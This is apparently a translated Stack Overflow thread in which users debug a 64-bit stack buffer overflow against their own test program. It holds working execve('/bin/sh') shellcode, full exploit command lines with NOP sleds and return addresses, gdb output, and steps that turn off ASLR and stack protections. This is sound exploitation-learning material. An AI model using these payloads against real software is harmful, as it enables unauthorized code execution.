64位系统上的缓冲区溢出问题

5

我想进行一些有趣的缓冲区溢出实验。我在论坛上阅读了这个话题,并尝试编写了自己的小代码。

所以我编写了一个小型的"C"程序,它接受字符参数并运行直到段错误。

我提供参数直到收到消息,告诉我用"A"覆盖了返回地址,其值为41。我复制输入字符串的缓冲区长度为[5]。

以下是我在gdb中所做的操作。

run $(perl -e 'print "A"x32  ; ')
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400516 in main (argc=Cannot access memory at address 0x414141414141412d

然后我发现需要16个 'A' 才能覆盖它。
run $(perl -e 'print "A"x16 . "C"x8 . "B"x32   ; ')
0x0000000000400516 in main (argc=Cannot access memory at address 0x434343434343432f
) 

这告诉我们8个“C”正在覆盖返回地址。

根据在线教程,如果我提供一个有效的地址代替这8个“C”,我可以跳转到某个地方并执行代码。因此,在初始的16个“A”之后,我过载了内存。

下一步是执行:

run $(perl -e 'print "A"x16 . "C"x8 . "B"x200   ; ')

rax            0x0      0
rbx            0x3a0001bbc0     249108216768
rcx            0x3a00552780     249113683840
rdx            0x3a00553980     249113688448
rsi            0x42     66
rdi            0x2af9e57710e0   47252785008864
rbp            0x4343434343434343       0x4343434343434343
rsp            0x7fffb261a2e8   0x7fffb261a2e8
r8             0xffffffff       4294967295
r9             0x0      0
r10            0x22     34
r11            0xffffffff       4294967295
r12            0x0      0
r13            0x7fffb261a3c0   140736186131392
r14            0x0      0
r15            0x0      0
rip            0x400516 0x400516 <main+62>
eflags         0x10206  [ PF IF RF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
fctrl          0x37f    895
fstat          0x0      0
ftag           0xffff   65535
fiseg          0x0      0
fioff          0x0      0
foseg          0x0      0
fooff          0x0      0
fop            0x0      0
mxcsr          0x1f80   [ IM DM ZM OM UM PM ]

检查 $rsp 后 200 字节的内存后,我找到了一个地址并执行了以下操作:

run $(perl -e 'print "A"x16 . "\x38\xd0\xcb\x9b\xff\x7f" . "\x90"x50 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"   ; ')

然而,这并没有做任何事情。如果有人能给我一个想法,我会很感激。
3个回答

10
请先确保更改了randomize_va_space。在Ubuntu上,您需要以root身份运行以下命令:
echo 0 > /proc/sys/kernel/randomize_va_space 接下来,请确保您编译测试程序时没有堆栈破坏保护,并设置内存执行位。使用以下gcc选项进行编译以实现此目的:
-fno-stack-protector -z execstack 另外,我发现我需要更多的空间来实际执行shell,所以我建议将缓冲区更改为类似buffer[64]的大小。
接下来,您可以在gdb中运行应用程序并获取您需要返回到的堆栈地址。
首先,在strcpy之后设置断点。
(gdb) disassemble main
Dump of assembler code for function main:
   0x000000000040057c <+0>: push   %rbp
   0x000000000040057d <+1>: mov    %rsp,%rbp
   0x0000000000400580 <+4>: sub    $0x50,%rsp
   0x0000000000400584 <+8>: mov    %edi,-0x44(%rbp)
   0x0000000000400587 <+11>:    mov    %rsi,-0x50(%rbp)
   0x000000000040058b <+15>:    mov    -0x50(%rbp),%rax
   0x000000000040058f <+19>:    add    $0x8,%rax
   0x0000000000400593 <+23>:    mov    (%rax),%rdx
   0x0000000000400596 <+26>:    lea    -0x40(%rbp),%rax
   0x000000000040059a <+30>:    mov    %rdx,%rsi
   0x000000000040059d <+33>:    mov    %rax,%rdi
   0x00000000004005a0 <+36>:    callq  0x400450 <strcpy@plt>
   0x0000000000**4005a5** <+41>:    lea    -0x40(%rbp),%rax
   0x00000000004005a9 <+45>:    mov    %rax,%rsi
   0x00000000004005ac <+48>:    mov    $0x400674,%edi
   0x00000000004005b1 <+53>:    mov    $0x0,%eax
   0x00000000004005b6 <+58>:    callq  0x400460 <printf@plt>
   0x00000000004005bb <+63>:    mov    $0x0,%eax
   0x00000000004005c0 <+68>:    leaveq 
   0x00000000004005c1 <+69>:    retq   
End of assembler dump.
(gdb) b *0x4005a5
Breakpoint 1 at 0x4005a5

然后运行该应用程序,在断点处获取rax寄存器地址。

(gdb) run `python -c 'print "A"*128';`
Starting program: APPPATH/APPNAME `python -c 'print "A"*128';`

Breakpoint 1, 0x00000000004005a5 in main ()
(gdb) info register
rax            0x7fffffffe030   140737488347136
rbx            0x0  0
rcx            0x4141414141414141   4702111234474983745
rdx            0x41 65
rsi            0x7fffffffe490   140737488348304
rdi            0x7fffffffe077   140737488347255
rbp            0x7fffffffe040   0x7fffffffe040
rsp            0x7fffffffdff0   0x7fffffffdff0
r8             0x7ffff7dd4e80   140737351863936
r9             0x7ffff7de9d60   140737351949664
r10            0x7fffffffdd90   140737488346512
r11            0x7ffff7b8fd60   140737349483872
r12            0x400490 4195472
r13            0x7fffffffe120   140737488347424
r14            0x0  0
r15            0x0  0
rip            0x4005a5 0x4005a5 <main+41>
eflags         0x206    [ PF IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb)

接下来确定您的最大缓冲区大小。我知道64个字节的缓冲区在72个字节时会崩溃,所以我将从那里开始。您可以使用类似于metasploit模式方法的东西来给您这个,或者只是通过试错运行应用程序来找出确切的字节数,直到出现segfault,或者自己制作一个模式并像使用metasploit模式选项一样匹配rip地址。

接下来,有许多不同的方法可以获得所需的有效载荷,但由于我们正在运行64位应用程序,因此我们将使用64位有效载荷。我编译了C,然后从gdb中获取了ASM,然后进行了一些更改,通过将mov指令更改为null值的xor来删除\x00字符,然后使用shl和shr将它们从shell命令中删除。我们稍后将展示这一点,但现在有效载荷如下。

\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05

我们的有效载荷长度为48字节,因此我们有72-48 = 24

我们可以使用\x90(nop)填充有效载荷,以便指令不会中断。我在有效载荷末尾添加了2个,开头添加了22个。还将所需的返回地址以相反的顺序附加到结尾,得到以下结果。

`python -c 'print "\x90"*22+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05\x90\x90\x30\xe0\xff\xff\xff\x7f"';`

现在,如果你想在gdb之外运行它,你可能需要调整返回地址。在我的情况下,地址在gdb之外变成了\x70\xe0\xff\xff\xff\x7f。我只是通过增加到40、50、60、70等来使其工作。
测试应用程序源代码
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char name[64];

  strcpy(name, argv[1]);
  printf("Arg[1] is :%s\n", name);

  return 0;
}

这是 C 中的有效载荷。

#include <stdlib.h>

int main()
{
  execve("/bin/sh", NULL, NULL);
}

ASM中的有效载荷将被构建并运行

int main() {
  __asm__(
    "mov    $0x0,%rdx\n\t"                // arg 3 = NULL
    "mov    $0x0,%rsi\n\t"                // arg 2 = NULL
    "mov    $0x0068732f6e69622f,%rdi\n\t"
    "push   %rdi\n\t"                     // push "/bin/sh" onto stack
    "mov    %rsp,%rdi\n\t"                // arg 1 = stack pointer = start of /bin/sh
    "mov    $0x3b,%rax\n\t"               // syscall number = 59
    "syscall\n\t"
  );
}

由于我们不能使用\x00,因此可以改为异或值并进行一些花式移位以删除设置/bin/sh的mov的不良值

int main() {
  __asm__(
    "xor    %rdx,%rdx\n\t"                // arg 3 = NULL
    "mov    %rdx,%rsi\n\t"                // arg 2 = NULL
    "mov    $0x1168732f6e69622f,%rdi\n\t"
    "shl    $0x8,%rdi\n\t"                
    "shr    $0x8,%rdi\n\t"                // first byte = 0 (8 bits)
    "push   %rdi\n\t"                     // push "/bin/sh" onto stack
    "mov    %rsp,%rdi\n\t"                // arg 1 = stack ptr = start of /bin/sh
    "mov    $0x111111111111113b,%rax\n\t" // syscall number = 59
    "shl    $0x38,%rax\n\t"         
    "shr    $0x38,%rax\n\t"               // first 7 bytes = 0 (56 bits)
    "syscall\n\t"
  );
}

如果你编译了这个有效载荷,在gdb下运行它,就可以得到你需要的字节值,例如:

(gdb) x/bx main+4
0x400478 <main+4>:  0x48
(gdb) 
0x400479 <main+5>:  0x31
(gdb) 
0x40047a <main+6>:  0xd2
(gdb)

或者通过执行类似以下操作获取所有内容
(gdb) x/48bx main+4
0x4004f0 <main+4>:  0x48    0x31    0xd2    0x48    0x89    0xd6    0x48    0xbf
0x4004f8 <main+12>: 0x2f    0x62    0x69    0x6e    0x2f    0x73    0x68    0x11
0x400500 <main+20>: 0x48    0xc1    0xe7    0x08    0x48    0xc1    0xef    0x08
0x400508 <main+28>: 0x57    0x48    0x89    0xe7    0x48    0xb8    0x3b    0x11
0x400510 <main+36>: 0x11    0x11    0x11    0x11    0x11    0x11    0x48    0xc1
0x400518 <main+44>: 0xe0    0x38    0x48    0xc1    0xe8    0x38    0x0f    0x05

让我们使用32字节的有效载荷来完成它 :) (gdb) 运行 python -c 'print "\x90"*20+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\x31\xc0\x50\xb0\x3b\x0f\x05"+"\x90"*20+"\x30\xe0\xff\xff\xff\x7f"'; - Jason
去掉 push %rax 并避免使用 shr,因为 //bin/sh 是有效的,这使我们可以用 27 字节完成它 (gdb) 运行 python -c 'print "\x90"*23+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xc0\xb0\x3b\x0f\x05"+"\x90"*22+"\x30\xe0\xff\xff\xff\x7f"'; - Jason
你好,我已经成功启动了一个shell,但是在gdb之外却出现了非法指令的错误。 - Alexander Cska
你需要在GDB之外调整地址。引用:“现在,如果你想在gdb之外运行它,你可能需要调整返回地址。在我的情况下,地址变成了 \x70\xe0\xff\xff\xff\x7f,在gdb之外。我只是增加它,直到它工作,去到40、50、60、70……”继续尝试,你会得到正确的地址。 - Jason
嗨,我知道现在有点晚了...但是你的shellcode顺序正确吗?因为在内存中所有4个字节都被反转了。这意味着在输入之前我实际上也必须将它们反转... - user3151614
显示剩余3条评论

0

首先...您确定栈上的地址是返回指针,而不是指向某个数据结构或字符串的指针吗?如果是这种情况,它将使用该地址而不是字符串,并最终可能什么都不做:)

因此,请检查您的函数是否使用局部变量,因为这些变量会在返回地址之后放入堆栈中。希望能有所帮助^_^祝你好运!


这是我做的事情,这一次我没有访问相同的机器,所以我在另一个机器上运行(仍然是64位)。因此,我需要18个'A'来覆盖RIP。所以我这样做:[link] run $(perl -e 'print "A"x18 . "C"x8 . "\x90"x200 ;') bold code 然后我用x/200xb $rsp查看RSP之后的200个字节 bold code ,我会得到像0x7fffb6b44140 0x7fffb6b44138这样的地址,我将使用它们进行重定向。我猜我在这里做错了吗? - Alexander Cska
你能贴出你的 C 程序的相关行吗? - h4unt3r
这是我的代码:`#include <stdio.h> #include <string.h>int main( int argc, char* argv[] ) { char buf[5]; strcpy( buf, argv[1] ); printf(argv[1]) ; return 0; }` - Alexander Cska

0

我很少使用x64,但快速查看显示你有16个字节可以覆盖rip。 尝试使用 \xCC 而不是 \x90 来查看是否发生了可控代码重定向,如果发生了,gdb 应该会命中(降落在 \xCC 池中)并暂停(\xCC 在某种程度上是“硬编码”断点)。


网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接